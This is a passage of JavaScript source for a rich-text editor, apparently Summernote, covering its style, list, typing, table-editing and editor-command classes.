     * @param {Boolean} [options.onlyPartialContains] - default: `false`
     * @return {Node[]}
     */
    Style.prototype.styleNodes = function (rng, options) {
        rng = rng.splitText();
        var nodeName = (options && options.nodeName) || 'SPAN';
        var expandClosestSibling = !!(options && options.expandClosestSibling);
        var onlyPartialContains = !!(options && options.onlyPartialContains);
        if (rng.isCollapsed()) {
            return [rng.insertNode(dom.create(nodeName))];
        }
        var pred = dom.makePredByNodeName(nodeName);
        var nodes = rng.nodes(dom.isText, {
            fullyContains: true
        }).map(function (text) {
            return dom.singleChildAncestor(text, pred) || dom.wrap(text, nodeName);
        });
        if (expandClosestSibling) {
            if (onlyPartialContains) {
                var nodesInRange_1 = rng.nodes();
                // compose with partial contains predication
                pred = func.and(pred, function (node) {
                    return lists.contains(nodesInRange_1, node);
                });
            }
            return nodes.map(function (node) {
                var siblings = dom.withClosestSiblings(node, pred);
                var head = lists.head(siblings);
                var tails = lists.tail(siblings);
                $$1.each(tails, function (idx, elem) {
                    dom.appendChildNodes(head, elem.childNodes);
                    dom.remove(elem);
                });
                return lists.head(siblings);
            });
        }
        else {
            return nodes;
        }
    };
    /**
     * get current style on cursor
     *
     * @param {WrappedRange} rng
     * @return {Object} - object contains style properties.
     */
    Style.prototype.current = function (rng) {
        var $cont = $$1(!dom.isElement(rng.sc) ? rng.sc.parentNode : rng.sc);
        var styleInfo = this.fromNode($cont);
        // document.queryCommandState for toggle state
        // [workaround] prevent Firefox nsresult: "0x80004005 (NS_ERROR_FAILURE)"
        try {
            styleInfo = $$1.extend(styleInfo, {
                'font-bold': document.queryCommandState('bold') ? 'bold' : 'normal',
                'font-italic': document.queryCommandState('italic') ? 'italic' : 'normal',
                'font-underline': document.queryCommandState('underline') ? 'underline' : 'normal',
                'font-subscript': document.queryCommandState('subscript') ? 'subscript' : 'normal',
                'font-superscript': document.queryCommandState('superscript') ? 'superscript' : 'normal',
                'font-strikethrough': document.queryCommandState('strikethrough') ? 'strikethrough' : 'normal',
                'font-family': document.queryCommandValue('fontname') || styleInfo['font-family']
            });
        }
        catch (e) { }
        // list-style-type to list-style(unordered, ordered)
        if (!rng.isOnList()) {
            styleInfo['list-style'] = 'none';
        }
        else {
            var orderedTypes = ['circle', 'disc', 'disc-leading-zero', 'square'];
            var isUnordered = $$1.inArray(styleInfo['list-style-type'], orderedTypes) > -1;
            styleInfo['list-style'] = isUnordered ? 'unordered' : 'ordered';
        }
        var para = dom.ancestor(rng.sc, dom.isPara);
        if (para && para.style['line-height']) {
            styleInfo['line-height'] = para.style.lineHeight;
        }
        else {
            var lineHeight = parseInt(styleInfo['line-height'], 10) / parseInt(styleInfo['font-size'], 10);
            styleInfo['line-height'] = lineHeight.toFixed(1);
        }
        styleInfo.anchor = rng.isOnAnchor() && dom.ancestor(rng.sc, dom.isAnchor);
        styleInfo.ancestors = dom.listAncestor(rng.sc, dom.isEditable);
        styleInfo.range = rng;
        return styleInfo;
    };
    return Style;
}());

var Bullet = /** @class */ (function () {
    function Bullet() {
    }
    /**
     * toggle ordered list
     */
    Bullet.prototype.insertOrderedList = function (editable) {
        this.toggleList('OL', editable);
    };
    /**
     * toggle unordered list
     */
    Bullet.prototype.insertUnorderedList = function (editable) {
        this.toggleList('UL', editable);
    };
    /**
     * indent
     */
    Bullet.prototype.indent = function (editable) {
        var _this = this;
        var rng = range.create(editable).wrapBodyInlineWithPara();
        var paras = rng.nodes(dom.isPara, { includeAncestor: true });
        var clustereds = lists.clusterBy(paras, func.peq2('parentNode'));
        $$1.each(clustereds, function (idx, paras) {
            var head = lists.head(paras);
            if (dom.isLi(head)) {
                _this.wrapList(paras, head.parentNode.nodeName);
            }
            else {
                $$1.each(paras, function (idx, para) {
                    $$1(para).css('marginLeft', function (idx, val) {
                        return (parseInt(val, 10) || 0) + 25;
                    });
                });
            }
        });
        rng.select();
    };
    /**
     * outdent
     */
    Bullet.prototype.outdent = function (editable) {
        var _this = this;
        var rng = range.create(editable).wrapBodyInlineWithPara();
        var paras = rng.nodes(dom.isPara, { includeAncestor: true });
        var clustereds = lists.clusterBy(paras, func.peq2('parentNode'));
        $$1.each(clustereds, function (idx, paras) {
            var head = lists.head(paras);
            if (dom.isLi(head)) {
                _this.releaseList([paras]);
            }
            else {
                $$1.each(paras, function (idx, para) {
                    $$1(para).css('marginLeft', function (idx, val) {
                        val = (parseInt(val, 10) || 0);
                        return val > 25 ? val - 25 : '';
                    });
                });
            }
        });
        rng.select();
    };
    /**
     * toggle list
     *
     * @param {String} listName - OL or UL
     */
    Bullet.prototype.toggleList = function (listName, editable) {
        var _this = this;
        var rng = range.create(editable).wrapBodyInlineWithPara();
        var paras = rng.nodes(dom.isPara, { includeAncestor: true });
        var bookmark = rng.paraBookmark(paras);
        var clustereds = lists.clusterBy(paras, func.peq2('parentNode'));
        // paragraph to list
        if (lists.find(paras, dom.isPurePara)) {
            var wrappedParas_1 = [];
            $$1.each(clustereds, function (idx, paras) {
                wrappedParas_1 = wrappedParas_1.concat(_this.wrapList(paras, listName));
            });
            paras = wrappedParas_1;
            // list to paragraph or change list style
        }
        else {
            var diffLists = rng.nodes(dom.isList, {
                includeAncestor: true
            }).filter(function (listNode) {
                return !$$1.nodeName(listNode, listName);
            });
            if (diffLists.length) {
                $$1.each(diffLists, function (idx, listNode) {
                    dom.replace(listNode, listName);
                });
            }
            else {
                paras = this.releaseList(clustereds, true);
            }
        }
        range.createFromParaBookmark(bookmark, paras).select();
    };
    /**
     * @param {Node[]} paras
     * @param {String} listName
     * @return {Node[]}
     */
    Bullet.prototype.wrapList = function (paras, listName) {
        var head = lists.head(paras);
        var last = lists.last(paras);
        var prevList = dom.isList(head.previousSibling) && head.previousSibling;
        var nextList = dom.isList(last.nextSibling) && last.nextSibling;
        var listNode = prevList || dom.insertAfter(dom.create(listName || 'UL'), last);
        // P to LI
        paras = paras.map(function (para) {
            return dom.isPurePara(para) ? dom.replace(para, 'LI') : para;
        });
        // append to list(<ul>, <ol>)
        dom.appendChildNodes(listNode, paras);
        if (nextList) {
            dom.appendChildNodes(listNode, lists.from(nextList.childNodes));
            dom.remove(nextList);
        }
        return paras;
    };
    /**
     * @method releaseList
     *
     * @param {Array[]} clustereds
     * @param {Boolean} isEscapseToBody
     * @return {Node[]}
     */
    Bullet.prototype.releaseList = function (clustereds, isEscapseToBody) {
        var releasedParas = [];
        $$1.each(clustereds, function (idx, paras) {
            var head = lists.head(paras);
            var last = lists.last(paras);
            var headList = isEscapseToBody ? dom.lastAncestor(head, dom.isList) : head.parentNode;
            var lastList = headList.childNodes.length > 1 ? dom.splitTree(headList, {
                node: last.parentNode,
                offset: dom.position(last) + 1
            }, {
                isSkipPaddingBlankHTML: true
            }) : null;
            var middleList = dom.splitTree(headList, {
                node: head.parentNode,
                offset: dom.position(head)
            }, {
                isSkipPaddingBlankHTML: true
            });
            paras = isEscapseToBody ? dom.listDescendant(middleList, dom.isLi)
                : lists.from(middleList.childNodes).filter(dom.isLi);
            // LI to P
            if (isEscapseToBody || !dom.isList(headList.parentNode)) {
                paras = paras.map(function (para) {
                    return dom.replace(para, 'P');
                });
            }
            $$1.each(lists.from(paras).reverse(), function (idx, para) {
                dom.insertAfter(para, headList);
            });
            // remove empty lists
            var rootLists = lists.compact([headList, middleList, lastList]);
            $$1.each(rootLists, function (idx, rootList) {
                var listNodes = [rootList].concat(dom.listDescendant(rootList, dom.isList));
                $$1.each(listNodes.reverse(), function (idx, listNode) {
                    if (!dom.nodeLength(listNode)) {
                        dom.remove(listNode, true);
                    }
                });
            });
            releasedParas = releasedParas.concat(paras);
        });
        return releasedParas;
    };
    return Bullet;
}());

/**
 * @class editing.Typing
 *
 * Typing
 *
 */
var Typing = /** @class */ (function () {
    function Typing() {
        // a Bullet instance to toggle lists off
        this.bullet = new Bullet();
    }
    /**
     * insert tab
     *
     * @param {WrappedRange} rng
     * @param {Number} tabsize
     */
    Typing.prototype.insertTab = function (rng, tabsize) {
        var tab = dom.createText(new Array(tabsize + 1).join(dom.NBSP_CHAR));
        rng = rng.deleteContents();
        rng.insertNode(tab, true);
        rng = range.create(tab, tabsize);
        rng.select();
    };
    /**
     * insert paragraph
     */
    Typing.prototype.insertParagraph = function (editable) {
        var rng = range.create(editable);
        // deleteContents on range.
        rng = rng.deleteContents();
        // Wrap range if it needs to be wrapped by paragraph
        rng = rng.wrapBodyInlineWithPara();
        // finding paragraph
        var splitRoot = dom.ancestor(rng.sc, dom.isPara);
        var nextPara;
        // on paragraph: split paragraph
        if (splitRoot) {
            // if it is an empty line with li
            if (dom.isEmpty(splitRoot) && dom.isLi(splitRoot)) {
                // toogle UL/OL and escape
                this.bullet.toggleList(splitRoot.parentNode.nodeName);
                return;
                // if it is an empty line with para on blockquote
            }
            else if (dom.isEmpty(splitRoot) && dom.isPara(splitRoot) && dom.isBlockquote(splitRoot.parentNode)) {
                // escape blockquote
                dom.insertAfter(splitRoot, splitRoot.parentNode);
                nextPara = splitRoot;
                // if new line has content (not a line break)
            }
            else {
                nextPara = dom.splitTree(splitRoot, rng.getStartPoint());
                var emptyAnchors = dom.listDescendant(splitRoot, dom.isEmptyAnchor);
                emptyAnchors = emptyAnchors.concat(dom.listDescendant(nextPara, dom.isEmptyAnchor));
                $$1.each(emptyAnchors, function (idx, anchor) {
                    dom.remove(anchor);
                });
                // replace empty heading, pre or custom-made styleTag with P tag
                if ((dom.isHeading(nextPara) || dom.isPre(nextPara) || dom.isCustomStyleTag(nextPara)) && dom.isEmpty(nextPara)) {
                    nextPara = dom.replace(nextPara, 'p');
                }
            }
            // no paragraph: insert empty paragraph
        }
        else {
            var next = rng.sc.childNodes[rng.so];
            nextPara = $$1(dom.emptyPara)[0];
            if (next) {
                rng.sc.insertBefore(nextPara, next);
            }
            else {
                rng.sc.appendChild(nextPara);
            }
        }
        range.create(nextPara, 0).normalize().select().scrollIntoView(editable);
    };
    return Typing;
}());

/**
 * @class Create a virtual table to create what actions to do in change.
 * @param {object} startPoint Cell selected to apply change.
 * @param {enum} where  Where change will be applied Row or Col. Use enum: TableResultAction.where
 * @param {enum} action Action to be applied. Use enum: TableResultAction.requestAction
 * @param {object} domTable Dom element of table to make changes.
 */
var TableResultAction = function (startPoint, where, action, domTable) {
    var _startPoint = { 'colPos': 0, 'rowPos': 0 };
    var _virtualTable = [];
    var _actionCellList = [];
    /// ///////////////////////////////////////////
    // Private functions
    /// ///////////////////////////////////////////
    /**
     * Set the startPoint of action.
     */
    function setStartPoint() {
        if (!startPoint || !startPoint.tagName || (startPoint.tagName.toLowerCase() !== 'td' && startPoint.tagName.toLowerCase() !== 'th')) {
            console.error('Impossible to identify start Cell point.', startPoint);
            return;
        }
        _startPoint.colPos = startPoint.cellIndex;
        if (!startPoint.parentElement || !startPoint.parentElement.tagName || startPoint.parentElement.tagName.toLowerCase() !== 'tr') {
            console.error('Impossible to identify start Row point.', startPoint);
            return;
        }
        _startPoint.rowPos = startPoint.parentElement.rowIndex;
    }
    /**
     * Define virtual table position info object.
     *
     * @param {int} rowIndex Index position in line of virtual table.
     * @param {int} cellIndex Index position in column of virtual table.
     * @param {object} baseRow Row affected by this position.
     * @param {object} baseCell Cell affected by this position.
     * @param {bool} isSpan Inform if it is an span cell/row.
     */
    function setVirtualTablePosition(rowIndex, cellIndex, baseRow, baseCell, isRowSpan, isColSpan, isVirtualCell) {
        var objPosition = {
            'baseRow': baseRow,
            'baseCell': baseCell,
            'isRowSpan': isRowSpan,
            'isColSpan': isColSpan,
            'isVirtual': isVirtualCell
        };
        if (!_virtualTable[rowIndex]) {
            _virtualTable[rowIndex] = [];
        }
        _virtualTable[rowIndex][cellIndex] = objPosition;
    }
    /**
     * Create action cell object.
     *
     * @param {object} virtualTableCellObj Object of specific position on virtual table.
     * @param {enum} resultAction Action to be applied in that item.
     */
    function getActionCell(virtualTableCellObj, resultAction, virtualRowPosition, virtualColPosition) {
        return {
            'baseCell': virtualTableCellObj.baseCell,
            'action': resultAction,
            'virtualTable': {
                'rowIndex': virtualRowPosition,
                'cellIndex': virtualColPosition
            }
        };
    }
    /**
     * Recover free index of row to append Cell.
     *
     * @param {int} rowIndex Index of row to find free space.
     * @param {int} cellIndex Index of cell to find free space in table.
     */
    function recoverCellIndex(rowIndex, cellIndex) {
        if (!_virtualTable[rowIndex]) {
            return cellIndex;
        }
        if (!_virtualTable[rowIndex][cellIndex]) {
            return cellIndex;
        }
        var newCellIndex = cellIndex;
        while (_virtualTable[rowIndex][newCellIndex]) {
            newCellIndex++;
            if (!_virtualTable[rowIndex][newCellIndex]) {
                return newCellIndex;
            }
        }
    }
    /**
     * Recover info about row and cell and add information to virtual table.
     *
     * @param {object} row Row to recover information.
     * @param {object} cell Cell to recover information.
     */
    function addCellInfoToVirtual(row, cell) {
        var cellIndex = recoverCellIndex(row.rowIndex, cell.cellIndex);
        var cellHasColspan = (cell.colSpan > 1);
        var cellHasRowspan = (cell.rowSpan > 1);
        var isThisSelectedCell = (row.rowIndex === _startPoint.rowPos && cell.cellIndex === _startPoint.colPos);
        setVirtualTablePosition(row.rowIndex, cellIndex, row, cell, cellHasRowspan, cellHasColspan, false);
        // Add span rows to virtual Table.
        var rowspanNumber = cell.attributes.rowSpan ? parseInt(cell.attributes.rowSpan.value, 10) : 0;
        if (rowspanNumber > 1) {
            for (var rp = 1; rp < rowspanNumber; rp++) {
                var rowspanIndex = row.rowIndex + rp;
                adjustStartPoint(rowspanIndex, cellIndex, cell, isThisSelectedCell);
                setVirtualTablePosition(rowspanIndex, cellIndex, row, cell, true, cellHasColspan, true);
            }
        }
        // Add span cols to virtual table.
        var colspanNumber = cell.attributes.colSpan ? parseInt(cell.attributes.colSpan.value, 10) : 0;
        if (colspanNumber > 1) {
            for (var cp = 1; cp < colspanNumber; cp++) {
                var cellspanIndex = recoverCellIndex(row.rowIndex, (cellIndex + cp));
                adjustStartPoint(row.rowIndex, cellspanIndex, cell, isThisSelectedCell);
                setVirtualTablePosition(row.rowIndex, cellspanIndex, row, cell, cellHasRowspan, true, true);
            }
        }
    }
    /**
     * Process validation and adjust of start point if needed
     *
     * @param {int} rowIndex
     * @param {int} cellIndex
     * @param {object} cell
     * @param {bool} isSelectedCell
     */
    function adjustStartPoint(rowIndex, cellIndex, cell, isSelectedCell) {
        if (rowIndex === _startPoint.rowPos && _startPoint.colPos >= cell.cellIndex && cell.cellIndex <= cellIndex && !isSelectedCell) {
            _startPoint.colPos++;
        }
    }
    /**
     * Create virtual table of cells with all cells, including span cells.
     */
    function createVirtualTable() {
        var rows = domTable.rows;
        for (var rowIndex = 0; rowIndex < rows.length; rowIndex++) {
            var cells = rows[rowIndex].cells;
            for (var cellIndex = 0; cellIndex < cells.length; cellIndex++) {
                addCellInfoToVirtual(rows[rowIndex], cells[cellIndex]);
            }
        }
    }
    /**
     * Get action to be applied on the cell.
     *
     * @param {object} cell virtual table cell to apply action
     */
    function getDeleteResultActionToCell(cell) {
        switch (where) {
            case TableResultAction.where.Column:
                if (cell.isColSpan) {
                    return TableResultAction.resultAction.SubtractSpanCount;
                }
                break;
            case TableResultAction.where.Row:
                if (!cell.isVirtual && cell.isRowSpan) {
                    return TableResultAction.resultAction.AddCell;
                }
                else if (cell.isRowSpan) {
                    return TableResultAction.resultAction.SubtractSpanCount;
                }
                break;
        }
        return TableResultAction.resultAction.RemoveCell;
    }
    /**
     * Get action to be applied on the cell.
     *
     * @param {object} cell virtual table cell to apply action
     */
    function getAddResultActionToCell(cell) {
        switch (where) {
            case TableResultAction.where.Column:
                if (cell.isColSpan) {
                    return TableResultAction.resultAction.SumSpanCount;
                }
                else if (cell.isRowSpan && cell.isVirtual) {
                    return TableResultAction.resultAction.Ignore;
                }
                break;
            case TableResultAction.where.Row:
                if (cell.isRowSpan) {
                    return TableResultAction.resultAction.SumSpanCount;
                }
                else if (cell.isColSpan && cell.isVirtual) {
                    return TableResultAction.resultAction.Ignore;
                }
                break;
        }
        return TableResultAction.resultAction.AddCell;
    }
    function init() {
        setStartPoint();
        createVirtualTable();
    }
    /// ///////////////////////////////////////////
    // Public functions
    /// ///////////////////////////////////////////
    /**
     * Recover array os what to do in table.
     */
    this.getActionList = function () {
        var fixedRow = (where === TableResultAction.where.Row) ? _startPoint.rowPos : -1;
        var fixedCol = (where === TableResultAction.where.Column) ? _startPoint.colPos : -1;
        var actualPosition = 0;
        var canContinue = true;
        while (canContinue) {
            var rowPosition = (fixedRow >= 0) ? fixedRow : actualPosition;
            var colPosition = (fixedCol >= 0) ? fixedCol : actualPosition;
            var row = _virtualTable[rowPosition];
            if (!row) {
                canContinue = false;
                return _actionCellList;
            }
            var cell = row[colPosition];
            if (!cell) {
                canContinue = false;
                return _actionCellList;
            }
            // Define action to be applied in this cell
            var resultAction = TableResultAction.resultAction.Ignore;
            switch (action) {
                case TableResultAction.requestAction.Add:
                    resultAction = getAddResultActionToCell(cell);
                    break;
                case TableResultAction.requestAction.Delete:
                    resultAction = getDeleteResultActionToCell(cell);
                    break;
            }
            _actionCellList.push(getActionCell(cell, resultAction, rowPosition, colPosition));
            actualPosition++;
        }
        return _actionCellList;
    };
    init();
};
/**
*
* Where action occours enum.
*/
TableResultAction.where = { 'Row': 0, 'Column': 1 };
/**
*
* Requested action to apply enum.
*/
TableResultAction.requestAction = { 'Add': 0, 'Delete': 1 };
/**
*
* Result action to be executed enum.
*/
TableResultAction.resultAction = { 'Ignore': 0, 'SubtractSpanCount': 1, 'RemoveCell': 2, 'AddCell': 3, 'SumSpanCount': 4 };
/**
 *
 * @class editing.Table
 *
 * Table
 *
 */
var Table = /** @class */ (function () {
    function Table() {
    }
    /**
     * handle tab key
     *
     * @param {WrappedRange} rng
     * @param {Boolean} isShift
     */
    Table.prototype.tab = function (rng, isShift) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var table = dom.ancestor(cell, dom.isTable);
        var cells = dom.listDescendant(table, dom.isCell);
        var nextCell = lists[isShift ? 'prev' : 'next'](cells, cell);
        if (nextCell) {
            range.create(nextCell, 0).select();
        }
    };
    /**
     * Add a new row
     *
     * @param {WrappedRange} rng
     * @param {String} position (top/bottom)
     * @return {Node}
     */
    Table.prototype.addRow = function (rng, position) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var currentTr = $$1(cell).closest('tr');
        var trAttributes = this.recoverAttributes(currentTr);
        var html = $$1('<tr' + trAttributes + '></tr>');
        var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Add, $$1(currentTr).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var idCell = 0; idCell < actions.length; idCell++) {
            var currentCell = actions[idCell];
            var tdAttributes = this.recoverAttributes(currentCell.baseCell);
            switch (currentCell.action) {
                case TableResultAction.resultAction.AddCell:
                    html.append('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    break;
                case TableResultAction.resultAction.SumSpanCount:
                    if (position === 'top') {
                        var baseCellTr = currentCell.baseCell.parent;
                        var isTopFromRowSpan = (!baseCellTr ? 0 : currentCell.baseCell.closest('tr').rowIndex) <= currentTr[0].rowIndex;
                        if (isTopFromRowSpan) {
                            var newTd = $$1('<div></div>').append($$1('<td' + tdAttributes + '>' + dom.blank + '</td>').removeAttr('rowspan')).html();
                            html.append(newTd);
                            break;
                        }
                    }
                    var rowspanNumber = parseInt(currentCell.baseCell.rowSpan, 10);
                    rowspanNumber++;
                    currentCell.baseCell.setAttribute('rowSpan', rowspanNumber);
                    break;
            }
        }
        if (position === 'top') {
            currentTr.before(html);
        }
        else {
            var cellHasRowspan = (cell.rowSpan > 1);
            if (cellHasRowspan) {
                var lastTrIndex = currentTr[0].rowIndex + (cell.rowSpan - 2);
                $$1($$1(currentTr).parent().find('tr')[lastTrIndex]).after($$1(html));
                return;
            }
            currentTr.after(html);
        }
    };
    /**
     * Add a new col
     *
     * @param {WrappedRange} rng
     * @param {String} position (left/right)
     * @return {Node}
     */
    Table.prototype.addCol = function (rng, position) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var row = $$1(cell).closest('tr');
        var rowsGroup = $$1(row).siblings();
        rowsGroup.push(row);
        var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Add, $$1(row).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) {
            var currentCell = actions[actionIndex];
            var tdAttributes = this.recoverAttributes(currentCell.baseCell);
            switch (currentCell.action) {
                case TableResultAction.resultAction.AddCell:
                    if (position === 'right') {
                        $$1(currentCell.baseCell).after('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    }
                    else {
                        $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    }
                    break;
                case TableResultAction.resultAction.SumSpanCount:
                    if (position === 'right') {
                        var colspanNumber = parseInt(currentCell.baseCell.colSpan, 10);
                        colspanNumber++;
                        currentCell.baseCell.setAttribute('colSpan', colspanNumber);
                    }
                    else {
                        $$1(currentCell.baseCell).before('<td' + tdAttributes + '>' + dom.blank + '</td>');
                    }
                    break;
            }
        }
    };
    /*
    * Copy attributes from element.
    *
    * @param {object} Element to recover attributes.
    * @return {string} Copied string elements.
    */
    Table.prototype.recoverAttributes = function (el) {
        var resultStr = '';
        if (!el) {
            return resultStr;
        }
        var attrList = el.attributes || [];
        for (var i = 0; i < attrList.length; i++) {
            if (attrList[i].name.toLowerCase() === 'id') {
                continue;
            }
            if (attrList[i].specified) {
                resultStr += ' ' + attrList[i].name + '=\'' + attrList[i].value + '\'';
            }
        }
        return resultStr;
    };
    /**
     * Delete current row
     *
     * @param {WrappedRange} rng
     * @return {Node}
     */
    Table.prototype.deleteRow = function (rng) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var row = $$1(cell).closest('tr');
        var cellPos = row.children('td, th').index($$1(cell));
        var rowPos = row[0].rowIndex;
        var vTable = new TableResultAction(cell, TableResultAction.where.Row, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) {
            if (!actions[actionIndex]) {
                continue;
            }
            var baseCell = actions[actionIndex].baseCell;
            var virtualPosition = actions[actionIndex].virtualTable;
            var hasRowspan = (baseCell.rowSpan && baseCell.rowSpan > 1);
            var rowspanNumber = (hasRowspan) ? parseInt(baseCell.rowSpan, 10) : 0;
            switch (actions[actionIndex].action) {
                case TableResultAction.resultAction.Ignore:
                    continue;
                case TableResultAction.resultAction.AddCell:
                    var nextRow = row.next('tr')[0];
                    if (!nextRow) {
                        continue;
                    }
                    var cloneRow = row[0].cells[cellPos];
                    if (hasRowspan) {
                        if (rowspanNumber > 2) {
                            rowspanNumber--;
                            nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);
                            nextRow.cells[cellPos].setAttribute('rowSpan', rowspanNumber);
                            nextRow.cells[cellPos].innerHTML = '';
                        }
                        else if (rowspanNumber === 2) {
                            nextRow.insertBefore(cloneRow, nextRow.cells[cellPos]);
                            nextRow.cells[cellPos].removeAttribute('rowSpan');
                            nextRow.cells[cellPos].innerHTML = '';
                        }
                    }
                    continue;
                case TableResultAction.resultAction.SubtractSpanCount:
                    if (hasRowspan) {
                        if (rowspanNumber > 2) {
                            rowspanNumber--;
                            baseCell.setAttribute('rowSpan', rowspanNumber);
                            if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                        else if (rowspanNumber === 2) {
                            baseCell.removeAttribute('rowSpan');
                            if (virtualPosition.rowIndex !== rowPos && baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                    }
                    continue;
                case TableResultAction.resultAction.RemoveCell:
                    // Do not need remove cell because row will be deleted.
                    continue;
            }
        }
        row.remove();
    };
    /**
     * Delete current col
     *
     * @param {WrappedRange} rng
     * @return {Node}
     */
    Table.prototype.deleteCol = function (rng) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        var row = $$1(cell).closest('tr');
        var cellPos = row.children('td, th').index($$1(cell));
        var vTable = new TableResultAction(cell, TableResultAction.where.Column, TableResultAction.requestAction.Delete, $$1(row).closest('table')[0]);
        var actions = vTable.getActionList();
        for (var actionIndex = 0; actionIndex < actions.length; actionIndex++) {
            if (!actions[actionIndex]) {
                continue;
            }
            switch (actions[actionIndex].action) {
                case TableResultAction.resultAction.Ignore:
                    continue;
                case TableResultAction.resultAction.SubtractSpanCount:
                    var baseCell = actions[actionIndex].baseCell;
                    var hasColspan = (baseCell.colSpan && baseCell.colSpan > 1);
                    if (hasColspan) {
                        var colspanNumber = (baseCell.colSpan) ? parseInt(baseCell.colSpan, 10) : 0;
                        if (colspanNumber > 2) {
                            colspanNumber--;
                            baseCell.setAttribute('colSpan', colspanNumber);
                            if (baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                        else if (colspanNumber === 2) {
                            baseCell.removeAttribute('colSpan');
                            if (baseCell.cellIndex === cellPos) {
                                baseCell.innerHTML = '';
                            }
                        }
                    }
                    continue;
                case TableResultAction.resultAction.RemoveCell:
                    dom.remove(actions[actionIndex].baseCell, true);
                    continue;
            }
        }
    };
    /**
     * create empty table element
     *
     * @param {Number} rowCount
     * @param {Number} colCount
     * @return {Node}
     */
    Table.prototype.createTable = function (colCount, rowCount, options) {
        var tds = [];
        var tdHTML;
        for (var idxCol = 0; idxCol < colCount; idxCol++) {
            tds.push('<td>' + dom.blank + '</td>');
        }
        tdHTML = tds.join('');
        var trs = [];
        var trHTML;
        for (var idxRow = 0; idxRow < rowCount; idxRow++) {
            trs.push('<tr>' + tdHTML + '</tr>');
        }
        trHTML = trs.join('');
        var $table = $$1('<table>' + trHTML + '</table>');
        if (options && options.tableClassName) {
            $table.addClass(options.tableClassName);
        }
        return $table[0];
    };
    /**
     * Delete current table
     *
     * @param {WrappedRange} rng
     * @return {Node}
     */
    Table.prototype.deleteTable = function (rng) {
        var cell = dom.ancestor(rng.commonAncestor(), dom.isCell);
        $$1(cell).closest('table').remove();
    };
    return Table;
}());

var KEY_BOGUS = 'bogus';
/**
 * @class Editor
 */
var Editor = /** @class */ (function () {
    function Editor(context) {
        var _this = this;
        this.context = context;
        this.$note = context.layoutInfo.note;
        this.$editor = context.layoutInfo.editor;
        this.$editable = context.layoutInfo.editable;
        this.options = context.options;
        this.lang = this.options.langInfo;
        this.editable = this.$editable[0];
        this.lastRange = null;
        this.style = new Style();
        this.table = new Table();
        this.typing = new Typing();
        this.bullet = new Bullet();
        this.history = new History(this.$editable);
        this.context.memo('help.undo', this.lang.help.undo);
        this.context.memo('help.redo', this.lang.help.redo);
        this.context.memo('help.tab', this.lang.help.tab);
        this.context.memo('help.untab', this.lang.help.untab);
        this.context.memo('help.insertParagraph', this.lang.help.insertParagraph);
        this.context.memo('help.insertOrderedList', this.lang.help.insertOrderedList);
        this.context.memo('help.insertUnorderedList', this.lang.help.insertUnorderedList);
        this.context.memo('help.indent', this.lang.help.indent);
        this.context.memo('help.outdent', this.lang.help.outdent);
        this.context.memo('help.formatPara', this.lang.help.formatPara);
        this.context.memo('help.insertHorizontalRule', this.lang.help.insertHorizontalRule);
        this.context.memo('help.fontName', this.lang.help.fontName);
        // native commands(with execCommand), generate function for execCommand
        var commands = [
            'bold', 'italic', 'underline', 'strikethrough', 'superscript', 'subscript',
            'justifyLeft', 'justifyCenter', 'justifyRight', 'justifyFull',
            'formatBlock', 'removeFormat', 'backColor'
        ];
        for (var idx = 0, len = commands.length; idx < len; idx++) {
            this[commands[idx]] = (function (sCmd) {
                return function (value) {
                    _this.beforeCommand();
                    document.execCommand(sCmd, false, value);
                    _this.afterCommand(true);
                };
            })(commands[idx]);
            this.context.memo('help.' + commands[idx], this.lang.help[commands[idx]]);
        }
        this.fontName = this.wrapCommand(function (value) {
            return _this.fontStyling('font-family', "\'" + value + "\'");
        });
        this.fontSize = this.wrapCommand(function (value) {
            return _this.fontStyling('font-size', value + 'px');
        });
        for (var idx = 1; idx <= 6; idx++) {
            this['formatH' + idx] = (function (idx) {
                return function () {
                    _this.formatBlock('H' + idx);
                };
            })(idx);
            this.context.memo('help.formatH' + idx, this.lang.help['formatH' + idx]);
        }
        
        this.insertParagraph = this.wrapCommand(function () {
            _this.typing.insertParagraph(_this.editable);
        });
        this.insertOrderedList = this.wrapCommand(function () {
            _this.bullet.insertOrderedList(_this.editable);
        });
        this.insertUnorderedList = this.wrapCommand(function () {
            _this.bullet.insertUnorderedList(_this.editable);
        });
        this.indent = this.wrapCommand(function () {
            _this.bullet.indent(_this.editable);
        });
        this.outdent = this.wrapCommand(function () {
            _this.bullet.outdent(_this.editable);
        });
        /**
         * insertNode
         * insert node
         * @param {Node} node
         */
        this.insertNode = this.wrapCommand(function (node) {
            if (_this.isLimited($$1(node).text().length)) {
                return;
            }
            var rng = _this.createRange();
            rng.insertNode(node);
            range.createFromNodeAfter(node).select();
        });
        /**
         * insert text
         * @param {String} text
         */
        this.insertText = this.wrapCommand(function (text) {
            if (_this.isLimited(text.length)) {
                return;
            }
            var rng = _this.createRange();
            var textNode = rng.insertNode(dom.createText(text));
            range.create(textNode, dom.nodeLength(textNode)).select();
        });
        /**
         * paste HTML
         * @param {String} markup
         */
        this.pasteHTML = this.wrapCommand(function (markup) {
            if (_this.isLimited(markup.length)) {
                return;
            }
            var contents = _this.createRange().pasteHTML(markup);
            range.createFromNodeAfter(lists.last(contents)).select();
        });
        /**
         * formatBlock
         *
         * @param {String} tagName
         */
        this.formatBlock = this.wrapCommand(function (tagName, $target) {
            var onApplyCustomStyle = _this.options.callbacks.onApplyCustomStyle;
            if (onApplyCustomStyle) {
